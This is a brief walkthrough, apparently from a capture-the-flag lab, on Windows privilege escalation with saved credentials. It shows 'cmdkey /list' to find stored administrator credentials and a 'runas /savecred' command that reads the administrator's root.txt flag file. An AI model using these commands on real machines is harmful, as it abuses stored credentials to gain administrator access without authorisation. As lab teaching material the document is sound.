We will learn about how to PrivEsc in windows with runas command

What is Runas Command !?

The runas command is a command that allow us to run commands with somebody else privileges

Untitled

now after getting a foothold on the machine we first check this command

cmdkey /list

Untitled

and as we see we have administrative access now use this command

c:\windows\system32\runas.exe /user:ACCESS\Administrator /savecred "c:\windows\system32\cmd.exe /c TYPE c:\users\administrator\desktop\root.txt > c:\users\security\root.txt"

what this command will do is it will copy the root.txt from the administrator desktop to my current users desktop

Untitled